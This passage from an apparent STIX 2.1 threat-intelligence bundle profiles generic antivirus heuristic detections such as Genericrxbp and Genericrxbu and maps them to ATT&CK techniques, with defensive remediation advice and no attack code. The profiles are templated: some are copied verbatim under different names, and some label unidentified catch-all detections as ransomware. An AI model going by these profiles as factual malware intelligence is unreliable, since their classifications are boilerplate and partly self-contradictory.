rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxbm",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxbm"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c34a49d0-9ba4-5681-b8f6-894dce7c081d",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21630bd6-8aed-57ac-9eb5-e18e96897ad9",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbm exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--602512d4-cbe1-577c-bfe5-5450d1f5e985",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21630bd6-8aed-57ac-9eb5-e18e96897ad9",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbm exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--05bfbf8c-d533-5ac7-862f-93a776753bd3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--21630bd6-8aed-57ac-9eb5-e18e96897ad9",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbm exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--5eff5110-d6b2-5248-b81d-0961b1d951ea",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxbp",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxbp\" is an automated, heuristic detection identifier utilized by endpoint protection platforms (EPP) to flag highly suspicious executables. It does not represent a specific, named malware family but rather a behavioral pattern that strongly indicates the presence of a trojan, downloader, or highly obfuscated payload attempting to compromise the system.\n\n<h3>Heuristic Triggers and Behavioral Analysis</h3>\nThe \"Genericrxbp\" label is applied when a file's execution behavior triggers a specific set of advanced heuristic rules within an antivirus engine. These rules are designed to catch zero-day threats or heavily mutated malware variants that easily evade traditional static signature detection.\n\nCommon behaviors that trigger this detection include:\n<ul>\n<li><strong>Suspicious Packing (High Entropy):</strong> The executable is heavily compressed or encrypted using custom, non-standard packers frequently utilized by malware authors to thwart reverse engineering and static analysis.</li>\n<li><strong>Process Injection:</strong> The executable attempts to inject malicious code into a legitimate Windows process to hide its execution and bypass local firewalls.</li>\n<li><strong>Anomalous Network Activity:</strong> The program attempts to communicate with IP addresses known to be associated with command-and-control (C2) botnets, or it attempts to rapidly download executable files from unverified domains into temporary directories.</li>\n</ul>\n\n<h3>Security Implications</h3>\nA Genericrxbp alert must be treated as a high-priority security incident. Because the alert is generic, the true intent of the underlying threat is unknown; it could be a relatively benign adware installer, or it could be the initial access dropper for a devastating, enterprise-wide ransomware attack.\n\n<h3>Incident Mitigation Strategy</h3>\n<ul>\n<li><strong>Immediate Isolation:</strong> Disconnect the affected endpoint from the corporate network immediately to contain potential lateral movement and halt any active C2 communication.</li>\n<li><strong>Dynamic Analysis (Sandboxing):</strong> Submit the flagged file to a secure malware sandbox. Analyze the resulting report to determine the malware's true capabilities, specifically looking for registry modifications, dropped files, and network IOCs.</li>\n<li><strong>Enterprise Sweeps:</strong> Utilize the IOCs discovered during sandboxing to perform a proactive threat hunt across all enterprise endpoints, ensuring the generic threat has not propagated elsewhere in the environment.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Genericrxbp",
        "Heur.Genericrxbp",
        "Suspicious.Genericrxbp"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxbp",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxbp"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--501c46c2-f6b3-535f-a287-36accb835330",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5eff5110-d6b2-5248-b81d-0961b1d951ea",
      "target_ref": "attack-pattern--27f665e3-2cd7-5c43-a46b-98466fab8f0a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbp exhibits technique T1204 (User Execution (Relying on the user to bypass the heuristic warning))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c8b45429-445f-593e-9774-f20866ef53b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5eff5110-d6b2-5248-b81d-0961b1d951ea",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbp exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--840445ef-b053-5fe5-9a7a-fd802e5782cd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5eff5110-d6b2-5248-b81d-0961b1d951ea",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbp exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7e87973b-aa06-544e-a31e-a325c72f681e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5eff5110-d6b2-5248-b81d-0961b1d951ea",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbp exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--23df6db9-d109-5b01-9c0e-60352145c050",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5eff5110-d6b2-5248-b81d-0961b1d951ea",
      "target_ref": "attack-pattern--4f110b42-2ede-5143-bbfc-b26a59caa2b6",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbp exhibits technique T1082 (System Information Discovery)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f69c70a1-4dd1-5433-9265-2251f4433c08",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5eff5110-d6b2-5248-b81d-0961b1d951ea",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbp exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--497f8e7c-eba6-5020-a76c-9394a58c69e3",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxbu",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxbu\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis rather than a specific static signature, indicating an attempt by the malware to evade detection through polymorphic mutation or custom packing.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> Genericrxbu typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Genericrxbu",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxbu",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxbu"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0d668482-58f7-5fc6-9864-034d5a22cd91",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--497f8e7c-eba6-5020-a76c-9394a58c69e3",
      "target_ref": "attack-pattern--ebf98ceb-88d4-5269-a96f-9fce8af0ec35",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbu exhibits technique T1027.002 (Obfuscated Files or Information: Software Packing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c0a29eee-61db-54a1-aa42-d7d76d889c34",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--497f8e7c-eba6-5020-a76c-9394a58c69e3",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbu exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b5d81580-3ad5-5de4-9cb7-083e0615ec8f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--497f8e7c-eba6-5020-a76c-9394a58c69e3",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbu exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--e362b1da-b95e-5784-a69d-5dc6c327475c",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--497f8e7c-eba6-5020-a76c-9394a58c69e3",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbu exhibits technique T1106 (Native API)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8016630c-37ae-5cdc-bcfb-73443640c988",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxbw",
      "description": "Trojan:Win32/Genericrxbw is a generic, heuristic detection string utilized by antivirus engines (like Microsoft Defender) to flag a file that exhibits highly suspicious, trojan-like behavior, even if it doesn't match a specific, known malware family signature. It serves as a catch-all for newly compiled, heavily obfuscated, or custom-built droppers and payloads (`T1027`).<br><br><b>Understanding Genericrxbw (Heuristic Detections)</b><br>To an end-user, the AV prevents the file from running and issues a generic warning. For a SOC analyst, a 'Generic' or 'Gen' detection requires further investigation. Because the AV engine couldn't positively identify the family, the actual capability of the malware (whether it's ransomware, a RAT, or a cryptominer) is unknown until the file undergoes dynamic analysis.<br><br><b>Execution and Behavioral Mechanics</b><br>Files flagged as Genericrxbw usually trigger behavioral heuristics rather than static signature matches. This means the AV engine observed the file attempting dangerous actions: injecting code into legitimate processes (`T1055`), attempting to disable security software (`T1562.001`), rapidly modifying the Windows Registry Run keys for persistence (`T1547.001`), or utilizing severe packing/encryption to hide its true code structure (`T1027.002`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely dependent on the payload hidden within the generic dropper. Host-based IoCs are focused on the behaviors that triggered the heuristic alert: anomalous child process spawning (e.g., a Word document spawning `cmd.exe` or `powershell.exe`), or an unsigned executable making unauthorized registry edits. Network IoCs require dynamic analysis of the file in a sandbox to observe its C2 communication patterns. (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxbw",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxbw"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0957eb64-6bbd-5567-b64a-54e68b4abd61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8016630c-37ae-5cdc-bcfb-73443640c988",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbw exhibits technique T1027 (Obfuscated Files or Information (The primary reason for a generic detection is packing/encryption))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a9d0f86-3598-5f0e-a90c-289a7786cf0e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8016630c-37ae-5cdc-bcfb-73443640c988",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbw exhibits technique T1055 (Process Injection (A common behavior that triggers heuristic flags))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--36513235-4dea-5239-9e1c-094404dea339",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8016630c-37ae-5cdc-bcfb-73443640c988",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbw exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys (Suspicious persistence mechanisms))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--8a086db7-81de-5996-bd74-9e0753ce2ce4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxbx",
      "description": "Malware:Win32/Genericrxbx is a highly generic heuristic detection name used as a 'catch-all' bucket by various antivirus engines. It does not represent a specific family, campaign, or threat actor. Instead, it indicates that the AV engine's behavioral analysis, machine learning models, or generic static signatures have identified a file as exhibiting overwhelmingly malicious characteristics, but it cannot confidently classify it into a known, named family (like Emotet or Trickbot).<br><br><b>Understanding Generic 'Genericrxbx' Detections</b><br>To an end-user, this is a standard virus alert. For a SOC analyst or incident responder, a generic 'Genericrxbx' detection is frustrating because it lacks specific context. It means the file is bad, but provides no immediate intelligence on its intent (e.g., is it a ransomware dropper, an info-stealer, or a low-level adware?). It requires immediate, manual investigation (`T1204.002`).<br><br><b>Execution and Analysis Mechanics</b><br>Files flagged under this generic moniker often utilize heavy packing, obfuscation (`T1027`), or novel delivery mechanisms that obscure their true payload from static scanners. The AV engine likely detected suspicious API calls, anomalous entropy, or execution patterns (like attempting to inject into `svchost.exe` - `T1055`) that trigger heuristic rules. Because the exact threat is unknown, the responder must treat the incident as a potential high-severity breach until dynamic analysis proves otherwise.<br><br><b>Indicators of Compromise & Impact</b><br>The impact is entirely unknown until analysis is complete. The primary IoC is the quarantined file itself. Responders must rely heavily on EDR telemetry surrounding the time of execution. Look for where the file originated (e.g., downloaded via Chrome, extracted from a ZIP attached to an Outlook email), what child processes it spawned, what registry keys it modified for persistence (`T1547.001`), and what IP addresses it attempted to contact. (Observed samples in benchmark: 2)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxbx",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxbx"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--78789a37-4adb-57ee-8c23-4daf325091ad",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a086db7-81de-5996-bd74-9e0753ce2ce4",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbx exhibits technique T1027 (Obfuscated Files or Information (Often the reason for a generic detection))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a23e5dfd-03f1-546d-a2d4-70673a30ebfc",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a086db7-81de-5996-bd74-9e0753ce2ce4",
      "target_ref": "attack-pattern--bef94ccf-f6d3-5ee9-8eaa-a8867a38a5a4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbx exhibits technique T1204.002 (User Execution: Malicious File)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--35f0b11e-d565-568d-aff4-587c30e6f3ca",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--8a086db7-81de-5996-bd74-9e0753ce2ce4",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxbx exhibits technique T1055 (Process Injection (A common behavioral trigger for heuristic AV))."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--de85d45e-906a-50c9-9835-3e936fde1e33",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxby",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxby\" (often displayed as Generic.RX.Trojan or Generic.RX.Suspicious) is a heuristic detection name utilized by various antivirus engines. It flags files that exhibit highly suspicious, potentially destructive runtime behaviors characteristic of Trojans, Backdoors, or Loaders. The \"rx\" denotes a detection based on advanced heuristics or sandboxed behavioral analysis rather than a specific static signature.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nFiles flagged as Genericrxby are typically distributed via malicious email attachments (spear-phishing), dropped by exploit kits on compromised websites, or delivered as secondary payloads by initial access brokers.\n\nUpon execution, this class of malware prioritizes establishing a foothold and evading detection:\n<ul>\n<li><strong>Process Injection and Hollowing:</strong> The malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Unauthorized Persistence:</strong> It attempts to ensure survival across reboots by modifying critical Windows Registry hives (e.g., `Run`, `RunOnce`, `Winlogon`) or creating hidden Scheduled Tasks.</li>\n<li><strong>C2 Communication:</strong> The malware will attempt to establish an outbound connection to an unknown IP address or domain (Command and Control) to receive further instructions or download additional payloads (acting as a loader).</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Genericrxby detection in a critical system directory is a severe indicator of compromise (IoC). It strongly suggests that a potentially advanced threat has bypassed initial static defenses and is attempting to execute malicious code on the endpoint. Immediate investigation is required to determine the true nature of the payload.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against these polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on the malicious behavior flagged by the heuristic engine.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the potential for sophisticated evasion techniques and secondary payload delivery, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.RX",
        "Suspicious.Generic",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxby",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxby"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0a23eee1-e0b3-560e-9ce2-7df39da98b5f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de85d45e-906a-50c9-9835-3e936fde1e33",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxby exhibits technique T1055 (Process Injection)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--571c77d0-9f34-53c7-b8bf-4b2bb1f46e47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de85d45e-906a-50c9-9835-3e936fde1e33",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxby exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f21e8666-4950-5b46-9eb7-5001bbf120f4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de85d45e-906a-50c9-9835-3e936fde1e33",
      "target_ref": "attack-pattern--ec9111f9-546d-56c3-9df3-02f39623a470",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxby exhibits technique T1106 (Native API)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--714b46c7-d5b8-5850-9eb3-85def59cbbb1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de85d45e-906a-50c9-9835-3e936fde1e33",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Genericrxby exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--c00b4d83-92cb-5a69-b621-991ee6dc5779",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Genericrxbz",
      "description": "<h3>Executive Summary</h3>\n\"Genericrxbz\" is a heuristic identifier for a highly obfuscated, generically detected Trojan or Dropper. The naming convention strongly suggests that this malware was detected dynamically by an antivirus engine's generic heuristic analysis rather than a specific static signature, indicating an attempt by the malware to evade detection through polymorphic mutation or custom packing.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nMalware utilizing these generic evasion techniques is typically distributed \"filelessly\" via drive-by downloads originating from compromised websites (exploit kits) or as a secondary payload dropped by an initial access broker.\n\nUpon execution, this class of malware prioritizes rapid evasion and payload execution:\n<ul>\n<li><strong>Heavy Obfuscation and Packing:</strong> The executable is heavily packed, encrypted, or virtualized. This prevents security researchers and standard antivirus engines from analyzing its true code until it is unpacked in memory.</li>\n<li><strong>Process Injection:</strong> Rather than executing directly, the malware frequently utilizes Process Hollowing or DLL Injection to insert its malicious code into a legitimate Windows process (e.g., `explorer.exe` or `svchost.exe`). This allows it to bypass application whitelisting and hide its activity from the Task Manager.</li>\n<li><strong>Secondary Payload Delivery:</strong> Genericrxbz typically functions as a loader. Once persistence and stealth are achieved, it communicates with a C2 server to download the primary payload, which could be anything from a cryptominer to ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nDetection of highly obfuscated, generically named files in critical system directories (like `%AppData%` or `%Temp%`) is a severe indicator of compromise (IoC). It almost guarantees that an advanced threat actor has bypassed initial perimeter defenses and achieved code execution on the endpoint.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Behavioral Analysis (EDR):</strong> Static signature-based AV is largely ineffective against polymorphic threats. Eradication requires an Endpoint Detection and Response (EDR) solution capable of monitoring and terminating processes based on malicious behavior.</li>\n<li><strong>Network Isolation:</strong> Isolate the machine immediately to prevent the malware from phoning home to its C2 infrastructure or pivoting laterally across the network.</li>\n<li><strong>Complete Re-imaging:</strong> Due to the sophisticated evasion techniques employed, attempting to manually \"clean\" the system is highly risky. The most secure remediation is a complete bare-metal wipe and re-image from a trusted backup.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Generic.Genericrxbz",
        "Malware.Obfuscated",
        "Win32/Trojan.Heur"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Genericrxbz",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/genericrxbz"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
